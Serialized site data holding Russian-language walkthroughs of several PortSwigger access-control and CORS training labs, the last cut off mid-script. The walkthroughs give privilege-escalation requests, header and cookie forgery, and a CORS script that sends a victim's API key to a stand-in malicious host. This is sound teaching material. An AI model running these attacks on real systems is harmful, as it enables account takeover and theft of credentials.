mxH4cyoguaAAuo3kCtqzv1ySjfORtagJ\u003C\u002F",[308,13667,13312],{"class":2059},[308,13669,2077],{"class":911},[21,13671,12197],{},[357,13673,12383],{},{"title":50,"searchDepth":98,"depth":98,"links":13675},[13676,13677],{"id":18,"depth":98,"text":19},{"id":33,"depth":98,"text":34,"children":13678},[13679,13680,13681],{"id":38,"depth":104,"text":39},{"id":10323,"depth":104,"text":10324},{"id":682,"depth":104,"text":683},"Получение API-ключа пользователя carlos через подмену user id в GET \u002Fmy-account.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fuser-id-controlled-by-request-parameter",{"title":13567,"description":13682},"notes\u002Fpentesting\u002Fportswigger\u002Fuser-id-controlled-by-request-parameter",[117,12853,121],"9QkrRcPQn6ru0uQerscWoYvr1eyQ2torIYyTCzM_dtk",{"id":13690,"title":13691,"author":6,"body":13692,"date":13777,"description":13778,"difficulty":108,"extension":109,"image":110,"inProgress":110,"logged":110,"marathonStartDate":110,"meta":13779,"navigation":112,"notes":110,"path":13780,"psTitle":13706,"seo":13781,"stem":13782,"tags":13783,"timeSpent":10291,"type":123,"__hash__":13784},"content_ru\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fmethod-based-access-control-can-be-circumvented.md","Обход method-based access control (PortSwigger Lab)",{"type":8,"value":13693,"toc":13769},[13694,13698,13700,13707,13709,13711,13717,13719,13722,13724,13730,13732,13738,13744,13750,13760,13766],[11,13695,13697],{"id":13696},"обход-method-based-access-control","Обход method-based access control",[16,13699,19],{"id":18},[21,13701,13702,30],{},[24,13703,13706],{"href":13704,"rel":13705},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Faccess-control\u002Flab-method-based-access-control-can-be-circumvented",[28],"Method-based access control can be circumvented",[16,13708,34],{"id":33},[36,13710,39],{"id":38},[41,13712,13715],{"className":13713,"code":13714,"language":46},[44],"This lab implements access controls based partly on the HTTP method of requests. You can familiarize yourself with the admin panel by logging in using the credentials administrator:admin.\n\nTo solve the lab, log in using the credentials wiener:peter and exploit the flawed access controls to promote yourself to become an administrator.\n",[48,13716,13714],{"__ignoreMap":50},[36,13718,10324],{"id":10323},[21,13720,13721],{},"Нам нужно ознакомиться, как работает админка, найти там уязвимость, которая поможет обычному пользователю поднять свои права до административных.",[36,13723,683],{"id":682},[21,13725,13726,13727,13729],{},"Залогинимся и посмотрим, как работает админка. Видим ссылку «Admin panel». Тут есть селектор выбора пользователя и 2 кнопки — по сути означают «Сделать админом» и «Убрать из админов». Попробуем сделать админом пользователя ",[48,13728,11248],{}," и уберём его из админов.",[21,13731,10138],{},[41,13733,13736],{"className":13734,"code":13735,"language":46},[44],"POST \u002Fadmin-roles\nusername=wiener&action=upgrade\n",[48,13737,13735],{"__ignoreMap":50},[21,13739,13740,13741,426],{},"И вариант с ",[48,13742,13743],{},"action=downgrade",[21,13745,13746,13747,13749],{},"Попробуем зайти под пользователем ",[48,13748,11248],{}," и выполнить этот запрос на повышение прав — «Unauthorized».",[21,13751,13752,13753,3226,13756,13759],{},"Пробуем поменять ",[48,13754,13755],{},"POST",[48,13757,13758],{},"GET"," — «Missing parameter 'username'». О, передадим параметр в URL тогда:",[41,13761,13764],{"className":13762,"code":13763,"language":46},[44],"GET \u002Fadmin-roles?username=wiener&action=upgrade\n",[48,13765,13763],{"__ignoreMap":50},[21,13767,13768],{},"Прошло! Лаба решена.",{"title":50,"searchDepth":98,"depth":98,"links":13770},[13771,13772],{"id":18,"depth":98,"text":19},{"id":33,"depth":98,"text":34,"children":13773},[13774,13775,13776],{"id":38,"depth":104,"text":39},{"id":10323,"depth":104,"text":10324},{"id":682,"depth":104,"text":683},"2026-05-14","Повышение прав до администратора через смену HTTP-метода с POST на GET.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fmethod-based-access-control-can-be-circumvented",{"title":13691,"description":13778},"notes\u002Fpentesting\u002Fportswigger\u002Fmethod-based-access-control-can-be-circumvented",[117,12853,121],"K3XWTW0G_lX4-uEwihGRgrg1FS3Z4jD3wFbJK3CWvqM",{"id":13786,"title":13787,"author":6,"body":13788,"date":13777,"description":14034,"difficulty":108,"extension":109,"image":110,"inProgress":110,"logged":110,"marathonStartDate":110,"meta":14035,"navigation":112,"notes":110,"path":14036,"psTitle":13802,"seo":14037,"stem":14038,"tags":14039,"timeSpent":122,"type":123,"__hash__":14040},"content_ru\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Funprotected-admin-functionality-with-unpredictable-url.md","Незащищённая админка с непредсказуемым URL (PortSwigger Lab)",{"type":8,"value":13789,"toc":14026},[13790,13794,13796,13803,13805,13807,13813,13815,13818,13820,13823,13830,14014,14020,14023],[11,13791,13793],{"id":13792},"незащищённая-админка-с-непредсказуемым-url","Незащищённая админка с непредсказуемым URL",[16,13795,19],{"id":18},[21,13797,13798,30],{},[24,13799,13802],{"href":13800,"rel":13801},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Faccess-control\u002Flab-unprotected-admin-functionality-with-unpredictable-url",[28],"Unprotected admin functionality with unpredictable URL",[16,13804,34],{"id":33},[36,13806,39],{"id":38},[41,13808,13811],{"className":13809,"code":13810,"language":46},[44],"This lab has an unprotected admin panel. It's located at an unpredictable location, but the location is disclosed somewhere in the application.\n\nSolve the lab by accessing the admin panel, and using it to delete the user carlos.\n",[48,13812,13810],{"__ignoreMap":50},[36,13814,10324],{"id":10323},[21,13816,13817],{},"Есть открытая админка по рандомному URL. Нужно найти адрес, войти и удалить пользователя. Сделаем разведку. Будем обращать внимание на JS-файлы и код — где-то должна быть логика отображения ссылок для админа. Возможно, где-то на странице товара — предположение.",[36,13819,683],{"id":682},[21,13821,13822],{},"Походил по сайту: посмотрел товар, return to list, My account. Смотрим историю запросов в Burp. Явных загрузок JS-файлов не видно.",[21,13824,13825,13826,13829],{},"Посмотрим HTML ",[48,13827,13828],{},"GET \u002Fproduct?productId=2"," — вижу интересный кусок кода:",[41,13831,13833],{"className":2047,"code":13832,"language":2049,"meta":50,"style":50},"\u003Cscript>\nvar isAdmin = false;\nif (isAdmin) {\n   var topLinksTag = document.getElementsByClassName(\"top-links\")[0];\n   var adminPanelTag = document.createElement('a');\n   adminPanelTag.setAttribute('href', '\u002Fadmin-q4va6y');\n   adminPanelTag.innerText = 'Admin panel';\n   topLinksTag.append(adminPanelTag);\n   var pTag = document.createElement('p');\n   pTag.innerText = '|';\n   topLinksTag.appendChild(pTag);\n}\n\u003C\u002Fscript>\n",[48,13834,13835,13843,13858,13866,13896,13917,13937,13949,13960,13980,13992,14002,14006],{"__ignoreMap":50},[308,13836,13837,13839,13841],{"class":310,"line":311},[308,13838,2056],{"class":911},[308,13840,2124],{"class":2059},[308,13842,2077],{"class":911},[308,13844,13845,13848,13851,13853,13856],{"class":310,"line":98},[308,13846,13847],{"class":1619},"var",[308,13849,13850],{"class":911}," isAdmin ",[308,13852,2066],{"class":1619},[308,13854,13855],{"class":678}," false",[308,13857,1631],{"class":911},[308,13859,13860,13863],{"class":310,"line":104},[308,13861,13862],{"class":1619},"if",[308,13864,13865],{"class":911}," (isAdmin) {\n",[308,13867,13868,13871,13874,13876,13879,13882,13884,13887,13890,13893],{"class":310,"line":1327},[308,13869,13870],{"class":1619},"   var",[308,13872,13873],{"class":911}," topLinksTag ",[308,13875,2066],{"class":1619},[308,13877,13878],{"class":911}," document.",[308,13880,13881],{"class":667},"getElementsByClassName",[308,13883,917],{"class":911},[308,13885,13886],{"class":671},"\"top-links\"",[308,13888,13889],{"class":911},")[",[308,13891,13892],{"class":678},"0",[308,13894,13895],{"class":911},"];\n",[308,13897,13898,13900,13903,13905,13907,13910,13912,13915],{"class":310,"line":1336},[308,13899,13870],{"class":1619},[308,13901,13902],{"class":911}," adminPanelTag ",[308,13904,2066],{"class":1619},[308,13906,13878],{"class":911},[308,13908,13909],{"class":667},"createElement",[308,13911,917],{"class":911},[308,13913,13914],{"class":671},"'a'",[308,13916,1711],{"class":911},[308,13918,13919,13922,13925,13927,13930,13932,13935],{"class":310,"line":1349},[308,13920,13921],{"class":911},"   adminPanelTag.",[308,13923,13924],{"class":667},"setAttribute",[308,13926,917],{"class":911},[308,13928,13929],{"class":671},"'href'",[308,13931,973],{"class":911},[308,13933,13934],{"class":671},"'\u002Fadmin-q4va6y'",[308,13936,1711],{"class":911},[308,13938,13939,13942,13944,13947],{"class":310,"line":1360},[308,13940,13941],{"class":911},"   adminPanelTag.innerText ",[308,13943,2066],{"class":1619},[308,13945,13946],{"class":671}," 'Admin panel'",[308,13948,1631],{"class":911},[308,13950,13951,13954,13957],{"class":310,"line":1366},[308,13952,13953],{"class":911},"   topLinksTag.",[308,13955,13956],{"class":667},"append",[308,13958,13959],{"class":911},"(adminPanelTag);\n",[308,13961,13962,13964,13967,13969,13971,13973,13975,13978],{"class":310,"line":1452},[308,13963,13870],{"class":1619},[308,13965,13966],{"class":911}," pTag ",[308,13968,2066],{"class":1619},[308,13970,13878],{"class":911},[308,13972,13909],{"class":667},[308,13974,917],{"class":911},[308,13976,13977],{"class":671},"'p'",[308,13979,1711],{"class":911},[308,13981,13982,13985,13987,13990],{"class":310,"line":1465},[308,13983,13984],{"class":911},"   pTag.innerText ",[308,13986,2066],{"class":1619},[308,13988,13989],{"class":671}," '|'",[308,13991,1631],{"class":911},[308,13993,13994,13996,13999],{"class":310,"line":1478},[308,13995,13953],{"class":911},[308,13997,13998],{"class":667},"appendChild",[308,14000,14001],{"class":911},"(pTag);\n",[308,14003,14004],{"class":310,"line":1491},[308,14005,1369],{"class":911},[308,14007,14008,14010,14012],{"class":310,"line":1502},[308,14009,11372],{"class":911},[308,14011,2124],{"class":2059},[308,14013,2077],{"class":911},[21,14015,14016,14017,426],{},"Нашли адрес админки — ",[48,14018,14019],{},"\u002Fadmin-q4va6y",[21,14021,14022],{},"Идём в админку, удаляем пользователя. Лаба решена!",[357,14024,14025],{},"html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":50,"searchDepth":98,"depth":98,"links":14027},[14028,14029],{"id":18,"depth":98,"text":19},{"id":33,"depth":98,"text":34,"children":14030},[14031,14032,14033],{"id":38,"depth":104,"text":39},{"id":10323,"depth":104,"text":10324},{"id":682,"depth":104,"text":683},"Поиск скрытого адреса админки в HTML страницы товара и удаление пользователя.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Funprotected-admin-functionality-with-unpredictable-url",{"title":13787,"description":14034},"notes\u002Fpentesting\u002Fportswigger\u002Funprotected-admin-functionality-with-unpredictable-url",[117,12853,121],"UMhTgkMxkjN8S4wdhIMvGU_d_Kmq52257lNv3ZWcUXc",{"id":14042,"title":14043,"author":6,"body":14044,"date":13777,"description":14173,"difficulty":108,"extension":109,"image":110,"inProgress":110,"logged":110,"marathonStartDate":110,"meta":14174,"navigation":112,"notes":110,"path":14175,"psTitle":14058,"seo":14176,"stem":14177,"tags":14178,"timeSpent":14179,"type":123,"__hash__":14180},"content_ru\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Furl-based-access-control-can-be-circumvented.md","Обход URL-based access control (PortSwigger Lab)",{"type":8,"value":14045,"toc":14164},[14046,14050,14052,14059,14061,14063,14069,14071,14082,14086,14091,14094,14102,14104,14107,14118,14138,14141,14147,14150,14153,14159,14162],[11,14047,14049],{"id":14048},"обход-url-based-access-control","Обход URL-based access control",[16,14051,19],{"id":18},[21,14053,14054,30],{},[24,14055,14058],{"href":14056,"rel":14057},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Faccess-control\u002Flab-url-based-access-control-can-be-circumvented",[28],"URL-based access control can be circumvented",[16,14060,34],{"id":33},[36,14062,39],{"id":38},[41,14064,14067],{"className":14065,"code":14066,"language":46},[44],"This website has an unauthenticated admin panel at \u002Fadmin, but a front-end system has been configured to block external access to that path. However, the back-end application is built on a framework that supports the X-Original-URL header.\n\nTo solve the lab, access the admin panel and delete the user carlos.\n",[48,14068,14066],{"__ignoreMap":50},[36,14070,10324],{"id":10323},[21,14072,14073,14074,14077,14078,14081],{},"Сайт с админкой ",[48,14075,14076],{},"\u002Fadmin",", доступ к которой ограничен. Однако, мы знаем, что фреймворк поддерживает заголовок ",[48,14079,14080],{},"X-Original-URL",". Нужно получить доступ к админке и удалить пользователя.",[36,14083,14085],{"id":14084},"теория","Теория",[21,14087,14088,14089,426],{},"Вспомним, для чего используется ",[48,14090,14080],{},[21,14092,14093],{},"Это нестандартный HTTP-заголовок. Зачем используют? Позволяет бэкенду видеть оригинальный URL до обработки прокси (nginx, Apache). Некоторые фреймворки доверяют этому заголовку, тем самым позволяя обойти ограничения на доступ к закрытым URL.",[21,14095,14096,14097,14099,14100,426],{},"Мы делаем запрос к публично доступной странице, но с помощью ",[48,14098,14080],{}," меняем URL на, например, ",[48,14101,14076],{},[36,14103,683],{"id":682},[21,14105,14106],{},"Открываем сайт, сразу видим ссылку «Admin panel». Заходим — «Access denied».",[21,14108,14109,14110,14113,14114,14117],{},"Ладно, тогда закидываем в Repeater запрос ",[48,14111,14112],{},"GET \u002F"," и добавляем в конец ",[48,14115,14116],{},"X-Original-URL: \u002Fadmin",". Вернулся HTML админки. Находим там ссылку на удаление пользователя:",[41,14119,14121],{"className":2047,"code":14120,"language":2049,"meta":50,"style":50},"\u003Ca href=\"\u002Fadmin\u002Fdelete?username=carlos\">\n",[48,14122,14123],{"__ignoreMap":50},[308,14124,14125,14127,14129,14131,14133,14136],{"class":310,"line":311},[308,14126,2056],{"class":911},[308,14128,24],{"class":2059},[308,14130,2110],{"class":667},[308,14132,2066],{"class":911},[308,14134,14135],{"class":671},"\"\u002Fadmin\u002Fdelete?username=carlos\"",[308,14137,2077],{"class":911},[21,14139,14140],{},"Пробуем:",[41,14142,14145],{"className":14143,"code":14144,"language":46},[44],"X-Original-Url: \u002Fadmin\u002Fdelete?username=carlos\n",[48,14146,14144],{"__ignoreMap":50},[21,14148,14149],{},"Так, но сервер жалуется «Missing parameter 'username'». Может, query string обрезается?",[21,14151,14152],{},"А если попробовать передать query string в основном запросе:",[41,14154,14157],{"className":14155,"code":14156,"language":46},[44],"GET \u002F?username=carlos\nX-Original-Url: \u002Fadmin\u002Fdelete\n",[48,14158,14156],{"__ignoreMap":50},[21,14160,14161],{},"Сработало! Лаба решена.",[357,14163,12383],{},{"title":50,"searchDepth":98,"depth":98,"links":14165},[14166,14167],{"id":18,"depth":98,"text":19},{"id":33,"depth":98,"text":34,"children":14168},[14169,14170,14171,14172],{"id":38,"depth":104,"text":39},{"id":10323,"depth":104,"text":10324},{"id":14084,"depth":104,"text":14085},{"id":682,"depth":104,"text":683},"Доступ к закрытой админке через заголовок `X-Original-URL` и удаление пользователя.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Furl-based-access-control-can-be-circumvented",{"title":14043,"description":14173},"notes\u002Fpentesting\u002Fportswigger\u002Furl-based-access-control-can-be-circumvented",[117,12853,121],"45m","sVUlFCE7hcXxR6rVsUmB6keuIf708rJIbRmRD9vIm00",{"id":14182,"title":14183,"author":6,"body":14184,"date":13777,"description":14317,"difficulty":108,"extension":109,"image":110,"inProgress":110,"logged":110,"marathonStartDate":110,"meta":14318,"navigation":112,"notes":110,"path":14319,"psTitle":14198,"seo":14320,"stem":14321,"tags":14322,"timeSpent":10723,"type":123,"__hash__":14323},"content_ru\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fuser-role-can-be-modified-in-user-profile.md","Роль пользователя меняется в профиле (PortSwigger Lab)",{"type":8,"value":14185,"toc":14309},[14186,14190,14192,14199,14201,14203,14209,14211,14220,14222,14225,14231,14234,14293,14303,14306],[11,14187,14189],{"id":14188},"роль-пользователя-меняется-в-профиле","Роль пользователя меняется в профиле",[16,14191,19],{"id":18},[21,14193,14194,30],{},[24,14195,14198],{"href":14196,"rel":14197},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Faccess-control\u002Flab-user-role-can-be-modified-in-user-profile",[28],"User role can be modified in user profile",[16,14200,34],{"id":33},[36,14202,39],{"id":38},[41,14204,14207],{"className":14205,"code":14206,"language":46},[44],"This lab has an admin panel at \u002Fadmin. It's only accessible to logged-in users with a roleid of 2.\n\nSolve the lab by accessing the admin panel and using it to delete the user carlos.\n\nYou can log in to your own account using the following credentials: wiener:peter\n",[48,14208,14206],{"__ignoreMap":50},[36,14210,10324],{"id":10323},[21,14212,14213,14214,14217,14218,426],{},"Тут похоже конкретная наводка — админка доступна пользователям с ",[48,14215,14216],{},"roleid=2",", и роль, похоже, можно менять в профиле пользователя. Нужно попасть в админку и удалить пользователя ",[48,14219,10765],{},[36,14221,683],{"id":682},[21,14223,14224],{},"Пойдём и посмотрим профиль пользователя — там форма смены почты. Окей, поменяем. Улетает:",[41,14226,14229],{"className":14227,"code":14228,"language":46},[44],"POST \u002Fmy-account\u002Fchange-email\n{\"email\":\"xxx@xxx.ru\"}\n",[48,14230,14228],{"__ignoreMap":50},[21,14232,14233],{},"В ответ:",[41,14235,14237],{"className":1289,"code":14236,"language":1291,"meta":50,"style":50},"{\n  \"username\": \"wiener\",\n  \"email\": \"xxx@xxx.ru\",\n  \"apikey\": \"sNK5lPO4Q9iCMxU18Tevh5HTKt9NmR9Y\",\n  \"roleid\": 1\n}\n",[48,14238,14239,14243,14255,14267,14279,14289],{"__ignoreMap":50},[308,14240,14241],{"class":310,"line":311},[308,14242,1298],{"class":911},[308,14244,14245,14248,14250,14253],{"class":310,"line":98},[308,14246,14247],{"class":678},"  \"username\"",[308,14249,1306],{"class":911},[308,14251,14252],{"class":671},"\"wiener\"",[308,14254,1312],{"class":911},[308,14256,14257,14260,14262,14265],{"class":310,"line":104},[308,14258,14259],{"class":678},"  \"email\"",[308,14261,1306],{"class":911},[308,14263,14264],{"class":671},"\"xxx@xxx.ru\"",[308,14266,1312],{"class":911},[308,14268,14269,14272,14274,14277],{"class":310,"line":1327},[308,14270,14271],{"class":678},"  \"apikey\"",[308,14273,1306],{"class":911},[308,14275,14276],{"class":671},"\"sNK5lPO4Q9iCMxU18Tevh5HTKt9NmR9Y\"",[308,14278,1312],{"class":911},[308,14280,14281,14284,14286],{"class":310,"line":1336},[308,14282,14283],{"class":678},"  \"roleid\"",[308,14285,1306],{"class":911},[308,14287,14288],{"class":678},"1\n",[308,14290,14291],{"class":310,"line":1349},[308,14292,1369],{"class":911},[21,14294,14295,14296,14299,14300,14302],{},"Интересно — получается, можно вместе с email передать роль и поменять её? Отправляем запрос в Repeater, добавляем поле ",[48,14297,14298],{},"roleid"," в запрос и ставим значение ",[48,14301,9082],{},". Отправляем — вуаля, роль поменялась.",[21,14304,14305],{},"Перезагружаем страницу, доступна админка. Удаляем пользователя. Лаба решена!",[357,14307,14308],{},"html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":50,"searchDepth":98,"depth":98,"links":14310},[14311,14312],{"id":18,"depth":98,"text":19},{"id":33,"depth":98,"text":34,"children":14313},[14314,14315,14316],{"id":38,"depth":104,"text":39},{"id":10323,"depth":104,"text":10324},{"id":682,"depth":104,"text":683},"Повышение `roleid` до 2 через форму смены email — доступ в админку и удаление пользователя.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fuser-role-can-be-modified-in-user-profile",{"title":14183,"description":14317},"notes\u002Fpentesting\u002Fportswigger\u002Fuser-role-can-be-modified-in-user-profile",[117,12853,121],"w6UJeBTuSgjhBrUllSuXVGiNGj4xBfzHeJYVrXc-ghw",{"id":14325,"title":14326,"author":6,"body":14327,"date":13777,"description":14391,"difficulty":108,"extension":109,"image":110,"inProgress":110,"logged":110,"marathonStartDate":110,"meta":14392,"navigation":112,"notes":110,"path":14393,"psTitle":14341,"seo":14394,"stem":14395,"tags":14396,"timeSpent":9894,"type":123,"__hash__":14397},"content_ru\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fuser-role-controlled-by-request-parameter.md","Роль пользователя контролируется параметром запроса (PortSwigger Lab)",{"type":8,"value":14328,"toc":14383},[14329,14333,14335,14342,14344,14346,14352,14354,14357,14359,14362,14367,14373,14380],[11,14330,14332],{"id":14331},"роль-пользователя-контролируется-параметром-запроса","Роль пользователя контролируется параметром запроса",[16,14334,19],{"id":18},[21,14336,14337,30],{},[24,14338,14341],{"href":14339,"rel":14340},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Faccess-control\u002Flab-user-role-controlled-by-request-parameter",[28],"User role controlled by request parameter",[16,14343,34],{"id":33},[36,14345,39],{"id":38},[41,14347,14350],{"className":14348,"code":14349,"language":46},[44],"This lab has an admin panel at \u002Fadmin, which identifies administrators using a forgeable cookie.\n\nSolve the lab by accessing the admin panel and using it to delete the user `carlos`.\n\nYou can log in to your own account using the following credentials: `wiener:peter`\n",[48,14351,14349],{"__ignoreMap":50},[36,14353,10324],{"id":10323},[21,14355,14356],{},"У админки простая защита — проверяет наличие определённой куки. Нужно зайти в неё и удалить пользователя.",[36,14358,683],{"id":682},[21,14360,14361],{},"Залогинимся на сайте и посмотрим, что происходит.",[21,14363,14364,14366],{},[48,14365,11749],{}," ставит интересную куку:",[41,14368,14371],{"className":14369,"code":14370,"language":46},[44],"Set-Cookie: Admin=false; Secure; HttpOnly\n",[48,14372,14370],{"__ignoreMap":50},[21,14374,14375,14376,14379],{},"Попробуем очевидный шаг — заменим на ",[48,14377,14378],{},"Admin=true",". И правда, появляется ссылка на админку.",[21,14381,14382],{},"Удаляем пользователя. Лаба решена!",{"title":50,"searchDepth":98,"depth":98,"links":14384},[14385,14386],{"id":18,"depth":98,"text":19},{"id":33,"depth":98,"text":34,"children":14387},[14388,14389,14390],{"id":38,"depth":104,"text":39},{"id":10323,"depth":104,"text":10324},{"id":682,"depth":104,"text":683},"Подделка cookie `Admin=true` для доступа в админку и удаления пользователя.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fuser-role-controlled-by-request-parameter",{"title":14326,"description":14391},"notes\u002Fpentesting\u002Fportswigger\u002Fuser-role-controlled-by-request-parameter",[117,12853,121],"6hB_HcWEqYhlpZFYVks9ImnVOZMRw3ZH5K0EVrBhx0Q",{"id":14399,"title":14400,"author":6,"body":14401,"date":14780,"description":14781,"difficulty":108,"extension":109,"image":110,"inProgress":110,"logged":110,"marathonStartDate":110,"meta":14782,"navigation":112,"notes":110,"path":14783,"psTitle":14415,"seo":14784,"stem":14785,"tags":14786,"timeSpent":14179,"type":123,"__hash__":14788},"content_ru\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fcors-basic-origin-reflection.md","CORS с базовым отражением Origin (PortSwigger Lab)",{"type":8,"value":14402,"toc":14771},[14403,14407,14409,14416,14418,14420,14426,14428,14435,14437,14440,14446,14457,14461,14464,14582,14592,14712,14715,14766,14768],[11,14404,14406],{"id":14405},"cors-с-базовым-отражением-origin","CORS с базовым отражением Origin",[16,14408,19],{"id":18},[21,14410,14411,30],{},[24,14412,14415],{"href":14413,"rel":14414},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fcors\u002Flab-basic-origin-reflection-attack",[28],"CORS vulnerability with basic origin reflection",[16,14417,34],{"id":33},[36,14419,39],{"id":38},[41,14421,14424],{"className":14422,"code":14423,"language":46},[44],"This website has an insecure CORS configuration in that it trusts all origins.\n\nTo solve the lab, craft some JavaScript that uses CORS to retrieve the administrator's API key and upload the code to your exploit server. The lab is solved when you successfully submit the administrator's API key.\n\nYou can log in to your own account using the following credentials: wiener:peter\n",[48,14425,14423],{"__ignoreMap":50},[36,14427,10324],{"id":10323},[21,14429,14430,14431,14434],{},"Дан сайт, у которого уязвимо настроены CORS-заголовки, и ACAO просто отражает заголовок ",[48,14432,14433],{},"Origin",". Нам нужно найти метод для получения API-ключа и отправить его на свой сервер.",[36,14436,683],{"id":682},[21,14438,14439],{},"Найдём сперва метод для получения API-токена:",[41,14441,14444],{"className":14442,"code":14443,"language":46},[44],"GET \u002FaccountDetails HTTP\u002F2\n",[48,14445,14443],{"__ignoreMap":50},[21,14447,14448,14449,14452,14453,14456],{},"Отправляем запрос в Repeater. Добавляем для теста заголовок ",[48,14450,14451],{},"Origin: https:\u002F\u002Fya.ru",", отправляем — да, сервер добавил в ACAO ",[48,14454,14455],{},"ya.ru",". Можем собирать нагрузку.",[36,14458,14460],{"id":14459},"готовим-нагрузку","Готовим нагрузку",[21,14462,14463],{},"PortSwigger даёт хороший шаблон для старта:",[41,14465,14469],{"className":14466,"code":14467,"language":14468,"meta":50,"style":50},"language-js shiki shiki-themes github-light github-dark","var req = new XMLHttpRequest();\nreq.onload = reqListener;\nreq.open('get','https:\u002F\u002Fvulnerable-website.com\u002Fsensitive-victim-data',true);\nreq.withCredentials = true;\nreq.send();\n\nfunction reqListener() {\n  location='\u002F\u002Fmalicious-website.com\u002Flog?key='+this.responseText;\n};\n","js",[48,14470,14471,14488,14498,14524,14536,14544,14548,14559,14577],{"__ignoreMap":50},[308,14472,14473,14475,14478,14480,14482,14485],{"class":310,"line":311},[308,14474,13847],{"class":1619},[308,14476,14477],{"class":911}," req ",[308,14479,2066],{"class":1619},[308,14481,1650],{"class":1619},[308,14483,14484],{"class":667}," XMLHttpRequest",[308,14486,14487],{"class":911},"();\n",[308,14489,14490,14493,14495],{"class":310,"line":98},[308,14491,14492],{"class":911},"req.onload ",[308,14494,2066],{"class":1619},[308,14496,14497],{"class":911}," reqListener;\n",[308,14499,14500,14503,14506,14508,14511,14514,14517,14519,14522],{"class":310,"line":104},[308,14501,14502],{"class":911},"req.",[308,14504,14505],{"class":667},"open",[308,14507,917],{"class":911},[308,14509,14510],{"class":671},"'get'",[308,14512,14513],{"class":911},",",[308,14515,14516],{"class":671},"'https:\u002F\u002Fvulnerable-website.com\u002Fsensitive-victim-data'",[308,14518,14513],{"class":911},[308,14520,14521],{"class":678},"true",[308,14523,1711],{"class":911},[308,14525,14526,14529,14531,14534],{"class":310,"line":1327},[308,14527,14528],{"class":911},"req.withCredentials ",[308,14530,2066],{"class":1619},[308,14532,14533],{"class":678}," true",[308,14535,1631],{"class":911},[308,14537,14538,14540,14542],{"class":310,"line":1336},[308,14539,14502],{"class":911},[308,14541,6979],{"class":667},[308,14543,14487],{"class":911},[308,14545,14546],{"class":310,"line":1349},[308,14547,1636],{"emptyLinePlaceholder":112},[308,14549,14550,14553,14556],{"class":310,"line":1360},[308,14551,14552],{"class":1619},"function",[308,14554,14555],{"class":667}," reqListener",[308,14557,14558],{"class":911},"() {\n",[308,14560,14561,14564,14566,14569,14571,14574],{"class":310,"line":1366},[308,14562,14563],{"class":911},"  location",[308,14565,2066],{"class":1619},[308,14567,14568],{"class":671},"'\u002F\u002Fmalicious-website.com\u002Flog?key='",[308,14570,11451],{"class":1619},[308,14572,14573],{"class":678},"this",[308,14575,14576],{"class":911},".responseText;\n",[308,14578,14579],{"class":310,"line":1452},[308,14580,14581],{"class":911},"};\n",[21,14583,14584,14585,14588,14589,215],{},"Добавим наш запрос на ",[48,14586,14587],{},"GET \u002FaccountDetails"," и отправку в Burp Collaborator — ",[48,14590,14591],{},"lg5dqhqluws9msxsk2x6fc9lkcq3eu2j.oastify.com",[41,14593,14595],{"className":2047,"code":14594,"language":2049,"meta":50,"style":50},"\u003Cscript>\n  var req = new XMLHttpRequest();\n  req.onload = reqListener;\n  req.open('get','https:\u002F\u002F0a0d00db04ed6de980ea0321007000d2.web-security-academy.net\u002FaccountDetails',true);\n  